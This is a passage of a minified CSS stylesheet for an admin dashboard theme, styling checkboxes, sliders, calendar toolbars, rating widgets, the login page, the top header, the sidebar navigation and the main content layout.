.cr,.checkbox-fade.zoom-danger .cr,.checkbox-zoom.fade-in-danger .cr,.checkbox-zoom.zoom-danger .cr{border:2px solid #f5365c}.checkbox-fade.fade-in-danger .cr .cr-icon,.checkbox-fade.zoom-danger .cr .cr-icon,.checkbox-zoom.fade-in-danger .cr .cr-icon,.checkbox-zoom.zoom-danger .cr .cr-icon{color:#f5365c}.checkbox-fade.fade-in-success .cr,.checkbox-fade.zoom-success .cr,.checkbox-zoom.fade-in-success .cr,.checkbox-zoom.zoom-success .cr{border:2px solid #2dce89}.checkbox-fade.fade-in-success .cr .cr-icon,.checkbox-fade.zoom-success .cr .cr-icon,.checkbox-zoom.fade-in-success .cr .cr-icon,.checkbox-zoom.zoom-success .cr .cr-icon{color:#2dce89}.checkbox-fade.fade-in-inverse .cr,.checkbox-fade.zoom-inverse .cr,.checkbox-zoom.fade-in-inverse .cr,.checkbox-zoom.zoom-inverse .cr{border:2px solid #4c5667}.checkbox-fade.fade-in-inverse .cr .cr-icon,.checkbox-fade.zoom-inverse .cr .cr-icon,.checkbox-zoom.fade-in-inverse .cr .cr-icon,.checkbox-zoom.zoom-inverse .cr .cr-icon{color:#4c5667}.checkbox-fade.fade-in-info .cr,.checkbox-fade.zoom-info .cr,.checkbox-zoom.fade-in-info .cr,.checkbox-zoom.zoom-info .cr{border:2px solid #11cdef}.checkbox-fade.fade-in-info .cr .cr-icon,.checkbox-fade.zoom-info .cr .cr-icon,.checkbox-zoom.fade-in-info .cr .cr-icon,.checkbox-zoom.zoom-info .cr .cr-icon{color:#11cdef}.checkbox-color{display:inline-block;margin-right:20px;cursor:pointer}.checkbox-color label{display:inline-block;position:relative;padding-left:10px;line-height:20px}.checkbox-color label::before{content:"";display:inline-block;position:absolute;top:0;width:20px;height:20px;left:0;right:0;text-align:center;margin-left:-20px;border:1px solid #ccc;border-radius:0;background-color:#fff;transition:border 0.15s ease-in-out, color 0.15s ease-in-out}.checkbox-color label::after{display:inline-block;position:absolute;width:16px;height:16px;left:-1px;top:0;margin-left:-17px;padding-left:3px;padding-top:1px;font-size:11px;color:#fff}.checkbox-color input[type="checkbox"]{opacity:0}.checkbox-color input[type="checkbox"]:focus+label::before{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.checkbox-color input[type="checkbox"]:checked+label::after{font-family:'FontAwesome';content:"\f00c"}.checkbox-color input[type="checkbox"]:checked+label::before{animation:ripple 0.3s linear forwards}.checkbox-color input[type="checkbox"]:disabled+label{opacity:0.65}.checkbox-color input[type="checkbox"]:disabled+label::before{background-color:#eee;cursor:not-allowed}.checkbox-color.checkbox-circle label::before{border-radius:50%}.checkbox-color.checkbox-inline{margin-top:0}.checkbox-danger input[type="checkbox"]:checked+label::after,.checkbox-info input[type="checkbox"]:checked+label::after,.checkbox-primary input[type="checkbox"]:checked+label::after,.checkbox-success input[type="checkbox"]:checked+label::after,.checkbox-warning input[type="checkbox"]:checked+label::after{color:#fff}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#2196f3;border-color:#2196f3}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#007bff}.checkbox-warning input[type="checkbox"]:checked+label::before{background-color:#fb6340}.checkbox-default input[type="checkbox"]:checked+label::before{background-color:#d6d6d6}.checkbox-danger input[type="checkbox"]:checked+label::before{background-color:#f5365c}.checkbox-success input[type="checkbox"]:checked+label::before{background-color:#2dce89}.checkbox-inverse input[type="checkbox"]:checked+label::before{background-color:#4c5667}.checkbox-info input[type="checkbox"]:checked+label::before{background-color:#11cdef}.slider-nav .left-arrow,.slider-nav .right-arrow{font-size:20px;color:#145388;display:inline-block;vertical-align:middle;margin:0 15px}.slider-nav .slider-dot-container{display:inline-block}.slider-nav .slider-dot-container .owl-dot{width:6px;height:6px;border-radius:10px;color:#00a7e2;background:#7cb9ec;outline:initial !important;border:initial;margin:0 5px;padding:0}.slider-nav .slider-dot-container .owl-dot.active{background:#145388}.fc .fc-toolbar .fc-button{background:#4a5361;color:#fff;padding:5px 10px;height:auto;border:none;text-transform:capitalize;text-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.fc .fc-toolbar .fc-button .fc-icon{margin:0;top:0}.fc .fc-toolbar .fc-button .fc-icon:after,.fc .fc-toolbar .fc-button .fc-icon::after{font-family:"iconkit";font-size:16px}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after{content:"\e843"}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after{content:"\e844"}.fc .fc-toolbar .fc-button.fc-state-active,.fc .fc-toolbar .fc-button.fc-state-down{background:#272d36 !important}.fc .fc-toolbar h2{font-size:22px;font-weight:600}.fc .fc-view-container .fc-view table thead tr td.fc-widget-header,.fc .fc-view-container .fc-view table thead tr th.fc-widget-header{color:#4a5361;background:#f3f4f4;border-color:#f3f4f4;padding:10px 0px}.fc .fc-view-container .fc-view .fc-day-number{float:left;padding:10px 0 5px 10px}.fc .fc-view-container .fc-view .fc-other-month{background:#f3f9ff}.fc .fc-view-container .fc-view .fc-event-container .fc-event{display:block;padding:3px 5px;color:#fff;font-weight:600;font-size:12px;border:none}.fc-unthemed .fc-content,.fc-unthemed .fc-divider,.fc-unthemed .fc-list-heading,.fc-unthemed .fc-list-view,.fc-unthemed .fc-popover,.fc-unthemed .fc-row,.fc-unthemed tbody,.fc-unthemed td,.fc-unthemed thead{border-color:#f3f4f4}.color-selector{padding:0;margin:0;list-style:none}.color-selector li{position:relative;display:inline-block;width:25px;height:25px;margin:0 8px 8px 0;background-color:#3e8ef7;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.color-selector li input[type=radio]{position:absolute;top:0;left:0;z-index:1;width:inherit;height:inherit;cursor:pointer;border-radius:inherit;opacity:0}.color-selector li input[type=radio]:checked+label:after,.color-selector li input[type=radio]:checked+label::after{position:absolute;top:0px;left:5px;display:inline-block;margin-top:-3px;font-size:16px;line-height:1;content:"\e83f";color:#fff}.color-selector li label{position:relative;margin-bottom:.4rem;font-family:"iconkit";font-style:normal;font-weight:400;font-variant:normal;text-transform:none}.color-selector li:last-child{margin-right:0}.alert{border:none}.alert .close{font-size:18px;padding:12px 15px}.jq-icon-info{background-color:#11cdef;color:#fff;border:none}.jq-icon-warning{background-color:#fb6340;color:#fff}.jq-icon-error{background-color:#f5365c;color:#fff}.jq-icon-success{color:#fff;background-color:#2dce89}.jq-toast-single,.jq-toast-single h2{font-family:'Nunito Sans', sans-serif}.br-wrapper{margin:20px 0 50px}.br-theme-bars-1to10 .br-widget .br-current-rating{clear:both;padding:0;font-size:13px;color:#757575;font-weight:400}.br-theme-bars-reversed .br-widget .br-current-rating{clear:both;padding:0;line-height:2;font-size:13px}.br-theme-bars-movie .br-widget .br-current-rating{color:#757575;font-weight:400;text-align:left}.br-theme-bars-horizontal .br-widget .br-current-rating,.br-theme-bars-reversed .br-widget .br-current-rating{color:#757575;font-weight:400;font-size:13px}span.value{display:inline}.current-rating{position:relative;top:-50px}.current-rating.hidden{display:none}.your-rating{position:relative;top:-50px}.your-rating.hidden{display:none}.br-theme-bars-1to10 .br-widget a,.br-theme-bars-movie .br-widget a,.br-theme-bars-reversed .br-widget a,.br-theme-bars-horizontal .br-widget a{background-color:#66b0ff}.br-theme-bars-1to10 .br-widget a.br-active,.br-theme-bars-1to10 .br-widget a.br-selected,.br-theme-bars-movie .br-widget a.br-active,.br-theme-bars-movie .br-widget a.br-selected,.br-theme-bars-reversed .br-widget a.br-active,.br-theme-bars-reversed .br-widget a.br-selected,.br-theme-bars-horizontal .br-widget a.br-active,.br-theme-bars-horizontal .br-widget a.br-selected{background-color:#007bff}.br-theme-bars-pill .br-widget a{background-color:#66b0ff;color:#007bff}.br-theme-bars-pill .br-widget a.br-active,.br-theme-bars-pill .br-widget a.br-selected{background-color:#007bff}.br-theme-fontawesome-stars .br-widget a.br-active:after,.br-theme-fontawesome-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-css-stars .br-widget a.br-active:after,.br-theme-css-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-bars-square .br-widget a{border:2px solid #66b0ff;color:#2990ff}.br-theme-bars-square .br-widget a.br-active,.br-theme-bars-square .br-widget a.br-selected{border:2px solid #007bff;color:#007bff}.br-theme-fontawesome-stars-o .br-widget a.br-selected:after,.br-theme-fontawesome-stars-o .br-widget a:after,.br-theme-fontawesome-stars-o .br-widget a.br-active:after,.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after{color:#007bff}.range-slider{min-height:200px;display:flex;align-items:center;margin-left:15px}.range-slider b{margin-top:-10px}#RGB{height:10px;background:gray}#RC .slider-selection{background:#FF8282}#RC .slider-handle{background:red}#GC .slider-selection{background:#428041}#GC .slider-handle{background:green}#BC .slider-selection{background:#8283FF}#BC .slider-handle{border-bottom-color:blue}#R,#G,#B{width:300px}.range-slider-contain{position:absolute;bottom:15px}.slider-handle{top:-5px;background-image:linear-gradient(to bottom, #007bff 0%, #007bff 100%);box-shadow:none}.slider-tick,.slider-track{background-image:linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%)}.slider-handle.custom::before{line-height:15px;font-size:35px;color:#007bff}#slider12a .slider-track-high,#slider12c .slider-track-high{background:green}#slider12b .slider-track-low,#slider12c .slider-track-low{background:red}#slider12c .slider-selection{background:yellow}.slider-selection.tick-slider-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider-tick.in-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider.slider-horizontal .slider-track{height:2px}.slider.slider-horizontal .slider-tick,.slider.slider-horizontal .slider-handle{top:-5px;cursor:pointer}.slider.slider-horizontal .slider-track{width:90%;margin-top:-5px;top:50%;left:10px}.auth-wrapper .lavalite-bg{height:100vh;position:relative;width:100%;-webkit-background-size:cover;background-size:cover;background-repeat:no-repeat}.auth-wrapper .lavalite-bg .lavalite-overlay{position:absolute;width:100%;height:100%;top:0;left:0;background:linear-gradient(135deg, rgba(46,52,81,0.4) 0%, rgba(52,40,104,0.95) 100%)}.auth-wrapper .authentication-form{font-size:.9rem;width:70%;display:block;padding:100px 0}.auth-wrapper .authentication-form .logo-centered{width:60px;margin:0 auto;margin-bottom:40px}.auth-wrapper .authentication-form h3{font-size:20px;color:#272d36;margin-bottom:20px}.auth-wrapper .authentication-form .form-group{position:relative}.auth-wrapper .authentication-form .form-group .form-control{padding-left:40px}.auth-wrapper .authentication-form .form-group .form-control ~ i{position:absolute;top:10px;left:15px}.auth-wrapper .authentication-form .sign-btn{margin-top:30px}.auth-wrapper .authentication-form .register{margin-top:30px;text-align:center}body{color:#212121;font-size:.8rem;line-height:1.5;font-weight:400;font-family:"Nunito Sans",sans-serif}.dropdown-toggle:after,.dropdown-toggle::after{display:none}.tooltip{font-family:"Nunito Sans",sans-serif;font-size:12px;font-weight:700}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.progress-sm{height:.5rem}.progress-sm .progress-bar{height:.5rem}.img-thumbnail,.list-thumbnail{border-radius:.1rem;padding:0;border:initial}.list-thumbnail{height:auto;max-width:unset;height:85px;object-fit:cover;width:unset !important}@media only screen and (max-width: 1023px){.list-thumbnail.responsive{width:unset;height:135px}}.list-thumbnail.small{height:60px;font-size:1rem}.list-thumbnail-letters{width:85px;height:85px;background:#090e40;align-items:center;display:flex;justify-content:center;font-size:1.25rem;color:#fff}.list-thumbnail-letters.small{width:60px;height:60px;font-size:1rem}.list-item-heading{font-size:1rem}.flex-grow-1{-webkit-flex-grow:1;-moz-flex-grow:1;-ms-flex-grow:1;flex-grow:1}.dropdown-menu{padding:5px;font-size:12px;background-color:#fff;border-color:transparent;margin:0;width:170px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.dropdown-menu .dropdown-item{background-color:#fff;padding:8px 15px;line-height:14px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dropdown-menu .dropdown-item .dropdown-icon{display:inline-block;vertical-align:middle;font-size:16px;margin-right:5px;vertical-align:-2px;color:#9aa0ac}.dropdown-menu .dropdown-item:hover,.dropdown-menu .dropdown-item:focus{background-color:#dee2e6 !important;color:#212121}.dropdown-menu .dropdown-item .badge{width:15px;height:15px;border-radius:50%;text-align:center;padding:0;line-height:15px}.dropdown-menu:after,.dropdown-menu::after{bottom:100%;left:10px;border:solid transparent;content:' ';height:0;width:0;position:absolute;pointer-events:none;border-color:rgba(136,183,213,0);border-bottom-color:#fff;border-width:5px}.dropdown-menu.dropdown-menu-right::after{right:10px;left:auto}.wrapper .header-top{background-color:#fff;z-index:1030;position:relative;padding:15px 0;position:fixed;top:0;width:100%;left:0;padding-left:240px;-webkit-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);-moz-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04)}.wrapper .header-top .top-menu .dropdown{margin-left:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu{margin-top:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid{width:182px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item{display:inline-block;width:40px;height:40px;text-align:center;padding:0;line-height:40px;font-size:18px;color:#5A5A5A}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown{min-width:300px;padding:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header{margin:0;padding:15px;font-size:16px;border-bottom:1px solid #f1f1f1}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media{border-bottom:1px solid #eef1f2;padding:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd){background:#f8f9fa}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;margin-right:15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i{color:#fff;text-align:center;font-size:15px;line-height:30px;top:0;height:30px;width:30px;background:#404E67;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img{height:30px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body{font-size:12px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading{color:#444;font-weight:600;letter-spacing:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content{color:#868e96}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer{text-align:center;padding:10px 15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a{color:#212121;font-size:16px}.wrapper .header-top .top-menu .nav-link{width:30px;height:30px;padding:0;text-align:center;line-height:36px;color:#212121;border:none;position:relative;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.wrapper .header-top .top-menu .nav-link:hover,.wrapper .header-top .top-menu .nav-link:focus{background-color:#dee2e6;color:#333}.wrapper .header-top .top-menu .nav-link i{font-size:16px}.wrapper .header-top .top-menu .nav-link .badge{right:-1px;position:absolute;top:-4px;padding:3px;width:17px;font-size:11px;font-weight:800;color:#fff;border-radius:100px;-webkit-border-radius:100px;-moz-border-radius:100px}.wrapper .header-top .top-menu .avatar{color:#4c5667;font-weight:600;width:30px;height:30px;line-height:30px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;display:inline-block;background:#ced4da no-repeat center/cover;position:relative;vertical-align:bottom;font-size:.875rem;user-select:none}.wrapper .header-top .top-menu .mobile-nav-toggle{border:none;position:relative;margin-right:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span{height:2px;width:20px;background-color:#4a5361;display:inline-block;border-radius:4px;position:absolute;top:14px;left:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span::before,.wrapper .header-top .top-menu .mobile-nav-toggle span::after{content:"";height:2px;width:20px;border-radius:4px;background-color:#4a5361;display:inline-block;position:absolute}.wrapper .header-top .top-menu .mobile-nav-toggle span::before{left:0;top:-6px}.wrapper .header-top .top-menu .mobile-nav-toggle span::after{left:0;bottom:-6px}.wrapper .header-top .top-menu .header-search{padding:0 10px;position:relative}.wrapper .header-top .top-menu .header-search .input-group{border-radius:20px;-webkit-border-radius:20px;-moz-border-radius:20px;margin-bottom:0}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon{color:#404E67;padding:2px 10px 2px 0px;font-size:16px;cursor:pointer}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close{padding:2px 0px 2px 10px;display:none}.wrapper .header-top .top-menu .header-search .input-group .form-control{padding:0 10px;min-height:auto;width:0;border:none;color:#353c4e;background-color:transparent;border-radius:0px;-webkit-border-radius:0px;-moz-border-radius:0px}.wrapper .header-top .top-menu .header-search.open .input-group{background-color:#e4e4e4}.wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close{display:block}@media only screen and (max-width: 1023px){.wrapper .header-top{padding-left:0}}.wrapper .header-top[header-theme="light"]{background:#fff}.wrapper .header-top[header-theme="dark"]{background:#272d36}.wrapper .header-top[header-theme="blue"]{background:#007bff}.wrapper .header-top[header-theme="red"]{background:#f5365c}.wrapper .header-top[header-theme="orange"]{background:#fb6340}.wrapper .header-top[header-theme="green"]{background:#2dce89}.wrapper .header-top[header-theme="purple"]{background:#BF55EC}.wrapper .header-top[header-theme="blue"] .top-menu .nav-link,.wrapper .header-top[header-theme="red"] .top-menu .nav-link,.wrapper .header-top[header-theme="orange"] .top-menu .nav-link,.wrapper .header-top[header-theme="green"] .top-menu .nav-link,.wrapper .header-top[header-theme="purple"] .top-menu .nav-link,.wrapper .header-top[header-theme="dark"] .top-menu .nav-link{color:#fff;background-color:transparent}.wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon{color:#fff}.wrapper .page-wrap{position:relative}.wrapper .page-wrap .app-sidebar{position:fixed;left:0;top:0;width:240px;height:100vh;background-color:#fff;z-index:1040;-webkit-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-o-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-webkit-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-moz-transform:translate3d(0, 0, 0);-o-transform:translate3d(0, 0, 0);-ms-transform:translate3d(0, 0, 0);-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);white-space:nowrap;visibility:visible}.wrapper .page-wrap .app-sidebar .sidebar-header{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:space-between;-moz-justify-content:space-between;-ms-justify-content:space-between;justify-content:space-between;-ms-flex-pack:space-between;padding:13px 15px;height:60px}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand{display:block;font-size:22px;font-weight:700;color:#212529}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img{display:inline-block;width:30px}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon{border:none}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:none;border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:inline-block}}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}}.wrapper .page-wrap .app-sidebar .sidebar-content{position:relative;height:-webkit-calc(100vh - 60px);height:-moz-calc(100vh - 60px);height:calc(100vh - 60px);overflow:auto;z-index:4}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a{display:block;overflow:hidden;padding:15px 5px;margin-left:15px;margin-right:15px;color:#545454;position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i{font-size:20px;margin-right:10px;display:inline-block;vertical-align:-4px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{font-size:13px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge{position:absolute;right:30px;text-align:center;top:16px;vertical-align:middle;white-space:nowrap;opacity:1;visibility:visible;border-radius:4px;font-size:75%;padding:4px 7px;margin-right:5px;font-weight:800;color:#fff;-webkit-transition:opacity 0.3s linear;transition:opacity 0.3s linear;text-transform:uppercase}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled{opacity:0.5;cursor:not-allowed !important}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before{content:"\e844";font-family:"iconkit";position:absolute;right:3px;top:15px;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content{background-color:#f3f3f3}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item{padding:10px 5px;font-size:13px;padding-left:50px;margin:0}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active{color:#eb525d}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before{content:"\e844";font-family:"iconkit";position:absolute;right:20px;top:10px;display:inline-block;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item{padding-left:70px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;position:absolute;top:10px;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;top:10px;position:absolute;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{font-size:14px;font-weight:400;opacity:1;padding:8px 20px 8px;text-transform:capitalize;visibility:visible;width:100%;color:#999;background:#333e52}.wrapper .page-wrap .app-sidebar.colored .sidebar-header{background-color:#272d36}.wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content{background-color:#404E67}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item{border-color:rgba(243,243,243,0.15)}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i{color:#bcc8d8}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content{background-color:#4a5872}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after,.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after{background-color:#eb525d}.wrapper .page-wrap .app-sidebar.hide-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-moz-transform:translate3d(-100%, 0, 0);-o-transform:translate3d(-100%, 0, 0);-ms-transform:translate3d(-100%, 0, 0);-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)}}.wrapper .page-wrap .main-content{padding:30px 0;background-color:#F6F7FB;min-height:calc(100vh - 120px);margin-top:60px;padding-right:15px;padding-left:255px;-moz-transition:all 0.3s ease;-o-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}@media only screen and (max-width: 1023px){.wrapper .page-wrap .main-content{padding-left:0;padding-right:0}}.wrapper .page-wrap .main-content .page-header{margin-bottom:30px}.wrapper .page-wrap .main-content .page-header .page-header-title i{float:left;width:40px;height:40px;border-radius:5px;margin-right:20px;vertical-align:middle;font-size:22px;color:#fff;display:inline-flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);-moz-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);box-shadow:0 2px 12px -3px rgba(0,0,0,0.5)}.wrapper .page-wrap .main-content .page-header .page-header-title h5{margin-bottom:0;font-weight:700;font-size:18px}.wrapper .page-wrap .main-content .page-header .page-header-title h5+span{font-size:13px}.wrapper .page-wrap .main-content .page-header .breadcrumb-container{float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb{background-color:transparent;margin-bottom:0;float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a{color:#212121}.wrapper .page-wrap .main-content .card .card-body .sub-title{font-size:14px;border-bottom:1px solid rgba(204,204,204,0.35);padding-bottom:10px;margin-bottom:20px;color:#2c3e50}.wrapper .page-wrap .main-content .card .card-body code{background-color:#eee;margin:5px;display:inline-block;padding:1px 6px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item{padding:13px 20px;border:1px solid #ededed;position:relative;border-left:0;border-right:0;height:50px;overflow:hidden;-moz-transition:transform 0.2s ease-in-out;-o-transition:transform 0.2s ease-in-out;-webkit-transition:transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out}.wrapper .page-wrap .main-content .card .card-body 